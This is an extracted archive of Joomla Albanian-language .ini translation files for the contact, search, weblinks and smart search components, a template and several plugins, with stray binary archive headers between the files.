COM_CONTACT_FIELD_PARAMS_NAME_DESC="Show name of the contact" COM_CONTACT_FIELD_PARAMS_NAME_LABEL="Emni" COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_DESC="Show or Hide postal or zip code" COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_LABEL="Postal Code" COM_CONTACT_FIELD_PARAMS_SHOW_IMAGE_DESC="Show or Hide image" COM_CONTACT_FIELD_PARAMS_SHOW_IMAGE_LABEL="Pamja" COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_DESC="Show or Hide state or county" COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_LABEL="State or County" COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_DESC="Show or Hide street address" COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_LABEL="Rruga" COM_CONTACT_FIELD_PARAMS_TELEPHONE_DESC="Show or Hide telephone number" COM_CONTACT_FIELD_PARAMS_TELEPHONE_LABEL="Telefoni" COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_DESC="Show or hide city or suburb" COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_LABEL="City or Suburb" COM_CONTACT_FIELD_PARAMS_VCARD_DESC="Whether or not to allow export to vCard format" COM_CONTACT_FIELD_PARAMS_VCARD_LABEL="vcard" COM_CONTACT_FIELD_PARAMS_WEBPAGE_DESC="Show or hide webpage" COM_CONTACT_FIELD_PARAMS_WEBPAGE_LABEL="Webpage" COM_CONTACT_FIELD_PRESENTATION_DESC="Determines the style used to display sections of the contact form" COM_CONTACT_FIELD_PRESENTATION_LABEL="Display format" COM_CONTACT_FIELD_PROFILE_SHOW_DESC="If this contact is mapped to a user, and if this is set to Show, then the profile of this user will show." COM_CONTACT_FIELD_PROFILE_SHOW_LABEL="Show Profile" COM_CONTACT_FIELD_PUBLISH_DOWN_DESC="An optional date to Finish Publishing the contact." COM_CONTACT_FIELD_PUBLISH_DOWN_LABEL="Përfundo botimin" COM_CONTACT_FIELD_PUBLISH_UP_DESC="An optional date to Start Publishing the contact." COM_CONTACT_FIELD_PUBLISH_UP_LABEL="Fillo botimin" COM_CONTACT_FIELD_SHOW_CAT_ITEMS_DESC="Show or Hide the number of Contacts in category" COM_CONTACT_FIELD_SHOW_CAT_ITEMS_LABEL="# Contacts in Category" COM_CONTACT_FIELD_SHOW_CATEGORY_DESC="Displays the category" COM_CONTACT_FIELD_SHOW_LINKS_DESC="Show or hide the links." COM_CONTACT_FIELD_SHOW_LINKS_LABEL="Show Links" COM_CONTACT_FIELD_SORTNAME1_DESC="The part of the name to use as the first sort field" COM_CONTACT_FIELD_SORTNAME1_LABEL="First Sort Field" COM_CONTACT_FIELD_SORTNAME2_DESC="The part of the name to use as the second sort field" COM_CONTACT_FIELD_SORTNAME2_LABEL="Second Sort Field" COM_CONTACT_FIELD_SORTNAME3_DESC="The part of the name to use as the third sort field" COM_CONTACT_FIELD_SORTNAME3_LABEL="Third Sort Field" COM_CONTACT_FIELD_VALUE_ICONS="Ikonat" COM_CONTACT_FIELD_VALUE_NAME="Emni" COM_CONTACT_FIELD_VALUE_NO_LINK="Show Without Link" COM_CONTACT_FIELD_VALUE_NONE="Asnji" COM_CONTACT_FIELD_VALUE_ORDERING="Ordering" COM_CONTACT_FIELD_VALUE_PLAIN="Plain" COM_CONTACT_FIELD_VALUE_SLIDERS="Sliders" COM_CONTACT_FIELD_VALUE_SORT_NAME="Sort Name" COM_CONTACT_FIELD_VALUE_TABS="Tabs" COM_CONTACT_FIELD_VALUE_TEXT="Teksti" COM_CONTACT_FIELD_VALUE_WITH_LINK="Show With Link" COM_CONTACT_FIELDSET_CONTACT_FORM="Contact form" COM_CONTACT_FIELDSET_CONTACT_LABEL="Contact Display Options" COM_CONTACT_FIELDSET_CONTACTFORM_LABEL="Mail Options" COM_CONTACT_FIELDSET_OPTIONS="Display Options" COM_CONTACT_FILTER_DESC="Choose the type of filter to display per default." COM_CONTACT_FILTER_LABEL="Fusha e filtrit" COM_CONTACT_FILTER_SEARCH_DESC="Enter text to show matching contacts" COM_CONTACT_ICONS_SETTINGS="Ikonat" COM_CONTACT_ID_LABEL="id" COM_CONTACT_MAIL_FIELDSET_LABEL="Mail Options" COM_CONTACT_MANAGER_CONTACT="Contact Manager: Contact" COM_CONTACT_MANAGER_CONTACTS="Contact Manager: Contacts" COM_CONTACT_N_ITEMS_ARCHIVED="%d contacts successfully archived" COM_CONTACT_N_ITEMS_ARCHIVED_1="%d contact successfully archived" COM_CONTACT_N_ITEMS_CHECKED_IN_0="No contact successfully checked in" COM_CONTACT_N_ITEMS_CHECKED_IN_1="%d contact successfully checked in" COM_CONTACT_N_ITEMS_CHECKED_IN_MORE="%d contacts successfully checked in" COM_CONTACT_N_ITEMS_DELETED="%d contacts successfully deleted" COM_CONTACT_N_ITEMS_DELETED_1="%d contact successfully deleted" COM_CONTACT_N_ITEMS_PUBLISHED="%d contacts successfully published" COM_CONTACT_N_ITEMS_PUBLISHED_1="%d contact successfully published" COM_CONTACT_N_ITEMS_TRASHED="%d contacts successfully trashed" COM_CONTACT_N_ITEMS_TRASHED_1="%d contact successfully trashed" COM_CONTACT_N_ITEMS_UNPUBLISHED="%d contacts successfully unpublished" COM_CONTACT_N_ITEMS_UNPUBLISHED_1="%d contact successfully unpublished" COM_CONTACT_NAME_DESC="Emni i lidhjes" COM_CONTACT_NEW_CONTACT="Kontakt i ri" COM_CONTACT_NO_ITEM_SELECTED="No contacts selected" COM_CONTACT_OPTIONS="Opsionet" COM_CONTACT_SAVE_SUCCESS="Contact successfully saved" COM_CONTACT_SEARCH_IN_NAME="Search contacts by name" COM_CONTACT_SELECT_A_CONTACT="Select a Contact" COM_CONTACT_SELECT_CONTACT_DESC="Press the button to show and select a contact from the list" COM_CONTACT_SELECT_CONTACT_LABEL="Zgjidh kontatin" COM_CONTACT_SELECT_USER="Zgjidh përdoruesin" COM_CONTACT_SHOW_EMAIL_ADDRESS_DESC="Show Email Address" COM_CONTACT_SHOW_EMAIL_ADDRESS_LABEL="Email Address" COM_CONTACT_SHOW_EMPTY_CATEGORIES_DESC="If Show, empty categories will display. A category is only empty - if it has no Contacts or subcategories." COM_CONTACT_SUBMENU_CATEGORIES="Kategoritë" COM_CONTACT_SUBMENU_CONTACTS="Kontaktet" COM_CONTACT_TOGGLE_TO_FEATURE="Toggle to change contact state to 'Featured'" COM_CONTACT_TOGGLE_TO_UNFEATURE="Toggle to change contact state to 'Unfeatured'" COM_CONTACT_UNFEATURED="Unfeatured contact" COM_CONTACT_WARNING_CATEGORY="This category is invalid" COM_CONTACT_WARNING_PROVIDE_VALID_NAME="Please provide a valid name" COM_CONTACT_WARNING_PROVIDE_VALID_URL="Please provide a valid URL" COM_CONTACT_WARNING_SAME_NAME="The name of this contact is already used. Please enter another name" COM_CONTACT_WARNING_SELECT_CONTACT_TOPUBLISH="Please select a contact to publish" COM_CONTACT_XML_DESCRIPTION="Ky komponent tregon listën e informacionit të kontaktit" JGLOBAL_NEWITEMSLAST_DESC="New Contacts default to the last position. Ordering can be changed after this Contact is saved." JLIB_HTML_BATCH_USER_LABEL="Set Linked User" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
      Inherited means that the permissions from global configuration and parent group will be used.
      Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
      Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\3҄!language/sq-AL/sq-AL.localise.phpnuW+A\  #language/sq-AL/sq-AL.com_search.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_SEARCH="Kërko" COM_SEARCH_ALL_WORDS="All words" COM_SEARCH_ALPHABETICAL="Alphabetical" COM_SEARCH_ANY_WORDS="Any words" COM_SEARCH_CONFIG_FIELD_CREATED_DATE_DESC="Trego datën e krijimit" COM_SEARCH_CONFIG_FIELD_CREATED_DATE_LABEL="Data e krijimit" COM_SEARCH_CONFIG_GATHER_SEARCH_STATISTICS_DESC="Record the search phrases submitted by visitors." COM_SEARCH_CONFIG_GATHER_SEARCH_STATISTICS_LABEL="Mblidh statistikat e kërkimit" COM_SEARCH_CONFIG_FIELD_OPENSEARCH_NAME_LABEL="OpenSearch Name" COM_SEARCH_CONFIG_FIELD_OPENSEARCH_NAME_DESC="Name displayed for this site as a search provider." COM_SEARCH_CONFIG_FIELD_OPENSEARCH_DESCRIPTON_LABEL="OpenSearch Description" COM_SEARCH_CONFIG_FIELD_OPENSEARCH_DESCRIPTON_DESC="Description displayed for this site as a search provider." COM_SEARCH_CONFIGURATION="Search Manager Options" COM_SEARCH_EXACT_PHRASE="Exact phrase" COM_SEARCH_FIELD_DESC="Word, words or phrase to search for" COM_SEARCH_FIELD_LABEL="Search Term (Optional)" COM_SEARCH_FIELD_SEARCH_AREAS_DESC="Show the search areas checkboxes" COM_SEARCH_FIELD_SEARCH_AREAS_LABEL="Përdor fushat e kërkimit" COM_SEARCH_FIELDSET_OPTIONAL_LABEL="Optional Search Term" COM_SEARCH_FOR_DESC="The type of search" COM_SEARCH_FOR_LABEL="Search for" COM_SEARCH_HEADING_PHRASE="Search Phrase" COM_SEARCH_HEADING_RESULTS="Rezultatet" COM_SEARCH_HIDE_SEARCH_RESULTS="Fshehi rezultatet e kërkimit" COM_SEARCH_LOGGING_DISABLED="Gathering statistics disabled" COM_SEARCH_LOGGING_ENABLED="Gathering statistics enabled" COM_SEARCH_MANAGER_SEARCHES="Search Manager: Search Term Analysis" COM_SEARCH_MOST_POPULAR="Popularity" COM_SEARCH_NEWEST_FIRST="Newest First" COM_SEARCH_NO_RESULTS="Fikë" COM_SEARCH_OLDEST_FIRST="T'vjetrat n'fillim" COM_SEARCH_ORDERING_DESC="Defines what ordering results are listed in" COM_SEARCH_ORDERING_LABEL="Results ordering" COM_SEARCH_SAVED_SEARCH_OPTIONS="Saved search options" COM_SEARCH_SEARCH_IN_PHRASE="Search in phrases." COM_SEARCH_SHOW_SEARCH_RESULTS="Trego rezultatet e kërkimit" COM_SEARCH_XML_DESCRIPTION="Component for search functions" PK@y>\ oBB*language/sq-AL/sq-AL.tpl_bluestork.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 BLUESTORK="Bluestork Administrator Template" TPL_BLUESTORK_POSITION_CPANEL="Paneli i kontrollit" TPL_BLUESTORK_POSITION_CP_SHELL="Unused" TPL_BLUESTORK_POSITION_DEBUG="debug" TPL_BLUESTORK_POSITION_FOOTER="Kamca" TPL_BLUESTORK_POSITION_ICON="Ikonat e shpejta" TPL_BLUESTORK_POSITION_LOGIN="Hymje" TPL_BLUESTORK_POSITION_MENU="Menuja" TPL_BLUESTORK_POSITION_STATUS="Statusi" TPL_BLUESTORK_POSITION_SUBMENU="Submenu" TPL_BLUESTORK_POSITION_TITLE="Titulli" TPL_BLUESTORK_POSITION_TOOLBAR="Shiriti" TPL_BLUESTORK_XML_DESCRIPTION="BlueStork is a template for the Joomla administrator (backend)."PK@y>\v,language/sq-AL/sq-AL.mod_multilangstatus.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_MULTILANGSTATUS="Multilanguage Status" MOD_MULTILANGSTATUS_XML_DESCRIPTION="This module shows the status of the multilanguage parameters."PK@y>\Ej;;+language/sq-AL/sq-AL.plg_content_joomla.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_JOOMLA="Content - Joomla" PLG_CONTENT_JOOMLA_FIELD_CHECK_CATEGORIES_DESC="Check that categories are fully empty before they are deleted." PLG_CONTENT_JOOMLA_FIELD_CHECK_CATEGORIES_LABEL="Check category deletion" PLG_CONTENT_JOOMLA_FIELD_EMAIL_NEW_FE_DESC="Email users where 'Send email' is on when there is a new article submitted via the frontend site." PLG_CONTENT_JOOMLA_FIELD_EMAIL_NEW_FE_LABEL="Email on new site article" PLG_CONTENT_JOOMLA_XML_DESCRIPTION="Does category processing for core extensions; sends an email when new article is submitted in the frontend."PK@y>\ language/sq-AL/index.htmlnuW+A PK@y>\::%language/sq-AL/sq-AL.com_weblinks.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_WEBLINKS="Weblinks" COM_WEBLINKS_ACCESS_HEADING="Access" COM_WEBLINKS_BATCH_OPTIONS="Batch process the selected links" COM_WEBLINKS_BATCH_TIP="If choosing to copy a link, any other actions selected will be applied to the copied link. Otherwise, all actions are applied to the selected link." COM_WEBLINKS_CATEGORIES_DESC="These settings apply for Weblinks Categories Options unless they are changed for a specific menu item." COM_WEBLINKS_CATEGORY_DESC="These settings apply for Weblinks Category Options unless they are changed for a specific menu item." COM_WEBLINKS_COMPONENT_DESC="These settings apply for Weblinks unless they are changed for a specific menu item or Weblink." COM_WEBLINKS_COMPONENT_LABEL="Weblink" COM_WEBLINKS_CONFIG_INTEGRATION_SETTINGS_DESC="These settings determine how the Weblinks Component will integrate with other extensions." COM_WEBLINKS_CONFIGURATION="Web Links Manager Options" COM_WEBLINKS_EDIT_WEBLINK="Edit Web Link" COM_WEBLINKS_ERR_TABLES_NAME="There is already a Web Link with that name in this category. Please try again." COM_WEBLINKS_ERR_TABLES_PROVIDE_URL="Please provide a valid URL" COM_WEBLINKS_ERR_TABLES_TITLE="Your Weblink must contain a title." COM_WEBLINKS_ERROR_UNIQUE_ALIAS="Another Weblink from this category has the same alias" COM_WEBLINKS_FIELD_ALIAS_DESC="The alias is for internal use only. Leave this blank and Joomla will fill in a default value from the title. It has to be unique for each web link in the same category." COM_WEBLINKS_FIELD_CATEGORY_DESC="Choose a category for this Web link" COM_WEBLINKS_FIELD_CATEGORYCHOOSE_DESC="Please choose a Web links category to display" COM_WEBLINKS_FIELD_CONFIG_CAT_SHOWNUMBERS_DESC="Show/Hide the number of Web links in each Category" COM_WEBLINKS_FIELD_CONFIG_CAT_SHOWNUMBERS_LABEL="# Web links" COM_WEBLINKS_FIELD_CONFIG_COUNTCLICKS_DESC="If set to yes, the number of times the link has been clicked will be recorded" COM_WEBLINKS_FIELD_CONFIG_COUNTCLICKS_LABEL="Count Clicks" COM_WEBLINKS_FIELD_CONFIG_DESCRIPTION_DESC="Trego/fsheh përshkrimin poshtë" COM_WEBLINKS_FIELD_CONFIG_HITS_DESC="Show/Hide hits" COM_WEBLINKS_FIELD_CONFIG_ICON_DESC="If Icon is chosen above, select an icon to display with the Web links. If none is selected, the default icon will be used." COM_WEBLINKS_FIELD_CONFIG_ICON_LABEL="Select Icon" COM_WEBLINKS_FIELD_CONFIG_INTRO_DESC="Enter here a text as an introduction to the web links" COM_WEBLINKS_FIELD_CONFIG_INTRO_LABEL="Introduction" COM_WEBLINKS_FIELD_CONFIG_LINKDESCRIPTION_DESC="Show/Hide the links description" COM_WEBLINKS_FIELD_CONFIG_LINKDESCRIPTION_LABEL="Links description" COM_WEBLINKS_FIELD_CONFIG_OTHERCATS_DESC="Show/hide other categories" COM_WEBLINKS_FIELD_CONFIG_OTHERCATS_LABEL="Kategoritë e tjera" COM_WEBLINKS_FIELD_CONFIG_SHOWREPORT_DESC="Show/Hide the Report Bad Link option" COM_WEBLINKS_FIELD_CONFIG_SHOWREPORT_LABEL="Reports" COM_WEBLINKS_FIELD_COUNTCLICKS_DESC="If set to yes, the number of times the link has been clicked will be recorded" COM_WEBLINKS_FIELD_COUNTCLICKS_LABEL="Count Clicks" COM_WEBLINKS_FIELD_DESCRIPTION_DESC="Enter a description for the web link." COM_WEBLINKS_FIELD_DISPLAY_NUM_DESC="Default number of Web links to list on a page." COM_WEBLINKS_FIELD_DISPLAY_NUM_LABEL="# of Web links to List" COM_WEBLINKS_FIELD_HEIGHT_DESC="Height of the target popup or modal window. Defaults to 600x500 if one field is left empty." COM_WEBLINKS_FIELD_HEIGHT_LABEL="Naltësia" COM_WEBLINKS_FIELD_ICON_DESC="Displays a text, an icon or nothing with the Web links. Default is 'Icon'." COM_WEBLINKS_FIELD_ICON_LABEL="Text/Icon/Web Link Only" COM_WEBLINKS_FIELD_ICON_OPTION_ICON="Ikona" COM_WEBLINKS_FIELD_ICON_OPTION_TEXT="Teksti" COM_WEBLINKS_FIELD_ICON_OPTION_WEBLINK="Web Link Only" COM_WEBLINKS_FIELD_LANGUAGE_DESC="Assign a language to this weblink" COM_WEBLINKS_FIELD_MODIFIED_DESC="The date and time the link was last modified" COM_WEBLINKS_FIELD_SELECT_CATEGORY_DESC="Select a weblinks category to display" COM_WEBLINKS_FIELD_SELECT_CATEGORY_LABEL="Zgjidh nji kategori." COM_WEBLINKS_FIELD_STATE_DESC="Set publication status." COM_WEBLINKS_FIELD_TARGET_DESC="Dritarja cak e lundrimit kur shtypet nyja" COM_WEBLINKS_FIELD_TARGET_LABEL="Caku" COM_WEBLINKS_FIELD_TITLE_DESC="Web Link must have a title" COM_WEBLINKS_FIELD_URL_DESC="Duhet me e futë nji nyje." COM_WEBLINKS_FIELD_Nyja_LABEL="Nyja" COM_WEBLINKS_FIELD_VALUE_REPORTED="Reported" COM_WEBLINKS_FIELD_WIDTH_DESC="Width of the target popup or modal window. Defaults to 600x500 if one field is left empty." COM_WEBLINKS_FIELD_WIDTH_LABEL="Gjanësia" COM_WEBLINKS_FIELDSET_OPTIONS="Basic Options" COM_WEBLINKS_FILTER_CATEGORY="Filter Category" COM_WEBLINKS_FILTER_STATE="Filter State" COM_WEBLINKS_HITS_DESC="Number of hits for this weblink" COM_WEBLINKS_LIST_LAYOUT_DESC="These settings apply for Weblinks List Layout Options unless they are changed for a specific menu item." COM_WEBLINKS_MANAGER_WEBLINK="Web Links Manager: Web Link" COM_WEBLINKS_MANAGER_WEBLINKS="Web Links Manager: Web Links" COM_WEBLINKS_N_ITEMS_ARCHIVED="%d weblinks successfully archived" COM_WEBLINKS_N_ITEMS_ARCHIVED_1="%d weblink successfully archived" COM_WEBLINKS_N_ITEMS_CHECKED_IN_0="No weblink successfully checked in" COM_WEBLINKS_N_ITEMS_CHECKED_IN_1="%d weblink successfully checked in" COM_WEBLINKS_N_ITEMS_CHECKED_IN_MORE="%d weblinks successfully checked in" COM_WEBLINKS_N_ITEMS_DELETED="%d weblinks successfully deleted" COM_WEBLINKS_N_ITEMS_DELETED_1="%d weblink successfully deleted" COM_WEBLINKS_N_ITEMS_PUBLISHED="%d weblinks successfully published" COM_WEBLINKS_N_ITEMS_PUBLISHED_1="%d weblink successfully published" COM_WEBLINKS_N_ITEMS_TRASHED="%d weblinks successfully trashed" COM_WEBLINKS_N_ITEMS_TRASHED_1="%d weblink successfully trashed" COM_WEBLINKS_N_ITEMS_UNPUBLISHED="%d weblinks successfully unpublished" COM_WEBLINKS_N_ITEMS_UNPUBLISHED_1="%d weblink successfully unpublished" COM_WEBLINKS_NEW_WEBLINK="New Web link" COM_WEBLINKS_OPTION_FILTER_ACCESS="- Filter Access -" COM_WEBLINKS_OPTION_FILTER_CATEGORY="- Filter Category -" COM_WEBLINKS_OPTION_FILTER_PUBLISHED="- Filter State -" COM_WEBLINKS_OPTIONS="Opsionet" COM_WEBLINKS_ORDER_HEADING="Rendi" COM_WEBLINKS_SAVE_SUCCESS="Weblink successfully saved" COM_WEBLINKS_SEARCH_IN_TITLE="Search in title" COM_WEBLINKS_SHOW_EMPTY_CATEGORIES_DESC="If Show, empty categories will display. A category is only empty - if it has no Weblinks or subcategories." COM_WEBLINKS_SUBMENU_CATEGORIES="Kategoritë" COM_WEBLINKS_SUBMENU_WEBLINKS="Nyjet" COM_WEBLINKS_XML_DESCRIPTION="Component for web links management" JGLOBAL_NO_ITEM_SELECTED="No weblinks selected" JGLOBAL_NEWITEMSLAST_DESC="New Weblinks default to the last position. Ordering can be changed after this Weblink is saved." JLIB_APPLICATION_ERROR_BATCH_CANNOT_CREATE="You are not allowed to create new weblinks in this category." JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT="You are not allowed to edit one or more of these weblinks." JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
      Inherited means that the permissions from global configuration and parent group will be used.
      Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
      Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\e+language/sq-AL/sq-AL.plg_search_content.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_CONTENT="Kërko - Përmbajtja" PLG_SEARCH_CONTENT_FIELD_ARCHIVED_DESC="T'kërkoj artikujt e arkivuem?" PLG_SEARCH_CONTENT_FIELD_ARCHIVED_LABEL="Artikujt e arkivuem" PLG_SEARCH_CONTENT_FIELD_CONTENT_DESC="Mundëson kërkimin e krejt artikujve" PLG_SEARCH_CONTENT_FIELD_CONTENT_LABEL="Artikujt" PLG_SEARCH_CONTENT_FIELD_SEARCHLIMIT_DESC="Numri i rezultateve me nxjerrë" PLG_SEARCH_CONTENT_FIELD_SEARCHLIMIT_LABEL="Kufini i kërkimit" PLG_SEARCH_CONTENT_XML_DESCRIPTION="Aktivizon kërkimin brenda artikujve" PK@y>\9䊇55#language/sq-AL/sq-AL.com_finder.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_FINDER="Smart Search" COM_FINDER_AN_ERROR_HAS_OCCURRED="An Error Has Occurred" COM_FINDER_CONFIG_ALLOW_EMPTY_QUERY_DESCRIPTION="Only if a filter is selected, allow an empty search string to initiate a search within the filter restraints." COM_FINDER_CONFIG_ALLOW_EMPTY_QUERY_LABEL="Allow Empty Search" COM_FINDER_CONFIG_BATCH_SIZE_DESCRIPTION="The batch size controls how many items are processed per batch. Large batch sizes require lots of memory whereas small batch sizes require less memory but execute more requests which tends to take longer." COM_FINDER_CONFIG_BATCH_SIZE_LABEL="Indexer Batch Size" COM_FINDER_CONFIG_DESCRIPTION_LENGTH_DESCRIPTION="Description text for search results will be truncated to the specified character length." COM_FINDER_CONFIG_DESCRIPTION_LENGTH_LABEL="Description Length" COM_FINDER_CONFIG_EXPAND_ADVANCED_DESCRIPTION="Toggle whether the advanced search options should be expanded by default." COM_FINDER_CONFIG_EXPAND_ADVANCED_LABEL="Expand Advanced Search" COM_FINDER_CONFIG_FIELD_OPENSEARCH_NAME_LABEL="OpenSearch Name" COM_FINDER_CONFIG_FIELD_OPENSEARCH_NAME_DESCRIPTION="Name displayed for this site as a search provider." COM_FINDER_CONFIG_FIELD_OPENSEARCH_DESCRIPTON_LABEL="OpenSearch Description" COM_FINDER_CONFIG_FIELD_OPENSEARCH_DESCRIPTON_DESCRIPTION="Description displayed for this site as a search provider." COM_FINDER_CONFIG_HILIGHT_CONTENT_SEARCH_TERMS_DESCRIPTION="Toggle whether search terms should be highlighted in search results." COM_FINDER_CONFIG_HILIGHT_CONTENT_SEARCH_TERMS_LABEL="Highlight Search Terms" COM_FINDER_CONFIG_IMPORT_EXPORT="Import/Export" COM_FINDER_CONFIG_IMPORT_EXPORT_HELP="Ndihmë" COM_FINDER_CONFIG_IMPORT_EXPORT_INSTRUCTIONS="To export your configuration options, click on the Export button in the toolbar above.

      To import an existing configuration, click on the browse button to select a file from your hard drive or copy/paste the data into the text field below and then click the Import button in the toolbar above." COM_FINDER_CONFIG_IMPORT_FROM_FILE="Import From File:" COM_FINDER_CONFIG_IMPORT_FROM_STRING="Import From Text:" COM_FINDER_CONFIG_IMPORT_TOOLBAR_TITLE="Smart Search: Import/Export Configuration" COM_FINDER_CONFIG_MEMORY_TABLE_LIMIT_DESCRIPTION="The memory table limit should not be changed unless you are getting errors indicating that the finder_tokens or finder_tokens_aggregate tables are full. The default is 30,000." COM_FINDER_CONFIG_MEMORY_TABLE_LIMIT_LABEL="Memory Table Limit" COM_FINDER_CONFIG_META_MULTIPLIER_DESCRIPTION="The multiplier is used to control how much influence matching text has on the overall relevance score of a search result. A multiplier is considered in relationship to the other multipliers. The meta data comes from a number of sources including the meta-keywords and meta-description, author names, etc." COM_FINDER_CONFIG_META_MULTIPLIER_LABEL="Meta Data Weight Multiplier" COM_FINDER_CONFIG_MISC_MULTIPLIER_DESCRIPTION="The multiplier is used to control how much influence matching text has on the overall relevance score of a search result. A multiplier is considered in relationship to the other multipliers. The miscellaneous text comes from a number of sources including comments and other associated data." COM_FINDER_CONFIG_MISC_MULTIPLIER_LABEL="Miscellaneous Text Weight Multiplier" COM_FINDER_CONFIG_PATH_MULTIPLIER_DESCRIPTION="The multiplier is used to control how much influence matching text has on the overall relevance score of a search result. A multiplier is considered in relationship to the other multipliers. The path text comes from the SEF URL of the content." COM_FINDER_CONFIG_PATH_MULTIPLIER_LABEL="Path Text Weight Multiplier" COM_FINDER_CONFIG_SORT_DIRECTION_DESC="The direction in which to sort the search results." COM_FINDER_CONFIG_SORT_DIRECTION_LABEL="Sort Direction" COM_FINDER_CONFIG_SORT_ORDER_DESC="The field on which to sort the search results." COM_FINDER_CONFIG_SORT_ORDER_LABEL="Sort Field" COM_FINDER_CONFIG_SORT_OPTION_ASCENDING="Ascending" COM_FINDER_CONFIG_SORT_OPTION_DESCENDING="Descending" COM_FINDER_CONFIG_SORT_OPTION_LIST_PRICE="List price" COM_FINDER_CONFIG_SORT_OPTION_RELEVANCE="Relevance" COM_FINDER_CONFIG_SORT_OPTION_START_DATE="Data" COM_FINDER_CONFIG_SHOW_ADVANCED_DESCRIPTION="Toggle whether users should be able to see advanced search options." COM_FINDER_CONFIG_SHOW_ADVANCED_LABEL="Advanced Search" COM_FINDER_CONFIG_SHOW_AUTOSUGGEST_DESCRIPTION="Toggle whether automatic search suggestions should be displayed." COM_FINDER_CONFIG_SHOW_AUTOSUGGEST_LABEL="Search Suggestions" COM_FINDER_CONFIG_SHOW_DATE_FILTERS_DESCRIPTION="Show the start and end date filters in the advanced search." COM_FINDER_CONFIG_SHOW_DATE_FILTERS_LABEL="Date Filters" COM_FINDER_CONFIG_SHOW_DESCRIPTION_DESCRIPTION="Toggle whether the description should be displayed with search results." COM_FINDER_CONFIG_SHOW_DESCRIPTION_LABEL="Result Description" COM_FINDER_CONFIG_SHOW_URL_DESCRIPTION="Show the associated URL for the item." COM_FINDER_CONFIG_SHOW_URL_LABEL="Result URL" COM_FINDER_CONFIG_STEMMER_DESCRIPTION="The language stemmer to use. Choose snowball if a stemmer for your language is not available or you have multilingual content." COM_FINDER_CONFIG_STEMMER_ENABLE_DESCRIPTION="Enable language stemming if available." COM_FINDER_CONFIG_STEMMER_ENABLE_LABEL="Enable stemmer" COM_FINDER_CONFIG_STEMMER_LABEL="Stemmer" COM_FINDER_CONFIG_STEMMER_PORTER_EN="English Only" COM_FINDER_CONFIG_STEMMER_SNOWBALL="Snowball" COM_FINDER_CONFIG_TEXT_MULTIPLIER_DESCRIPTION="The multiplier is used to control how much influence matching text has on the overall relevance score of a search result. A multiplier is considered in relationship to the other multipliers. The body text comes from the summary and/or body of the content." COM_FINDER_CONFIG_TEXT_MULTIPLIER_LABEL="Body Text Weight Multiplier" COM_FINDER_CONFIG_TITLE_MULTIPLIER_DESCRIPTION="The multiplier is used to control how much influence matching text has on the overall relevance score of a search result. A multiplier is considered in relationship to the other multipliers. The title text comes from the title of the content." COM_FINDER_CONFIG_TITLE_MULTIPLIER_LABEL="Title Text Weight Multiplier" COM_FINDER_CONFIGURATION="Smart Search: Configuration" COM_FINDER_CREATE_FILTER="Create a filter." COM_FINDER_EDIT_FILTER="Edit Filter" COM_FINDER_EXPORT="Eksporto" COM_FINDER_FIELD_CREATED_BY_LABEL="Created by" COM_FINDER_FIELD_CREATED_BY_DESC="Creator of the filter" COM_FINDER_FIELD_CREATED_BY_ALIAS_LABEL="Aliasi" COM_FINDER_FIELD_CREATED_BY_ALIAS_DESC="Displayed name of the filter creator" COM_FINDER_FIELD_MODIFIED_DESCRIPTION="The date and time that the filter was last modified." COM_FINDER_FIELDSET_INDEX_OPTIONS_DESCRIPTION="Indexing Options" COM_FINDER_FIELDSET_INDEX_OPTIONS_LABEL="Indeksi" COM_FINDER_FIELDSET_SEARCH_OPTIONS_DESCRIPTION="Search Options" COM_FINDER_FIELDSET_SEARCH_OPTIONS_LABEL="Kërko" COM_FINDER_FILTER_BRANCH_LABEL="Search by %s" COM_FINDER_FILTER_BY="Show %s:" COM_FINDER_FILTER_EDIT_TOOLBAR_TITLE="Smart Search: Edit Search Filter" COM_FINDER_FILTER_END_DATE_LABEL="End Date" 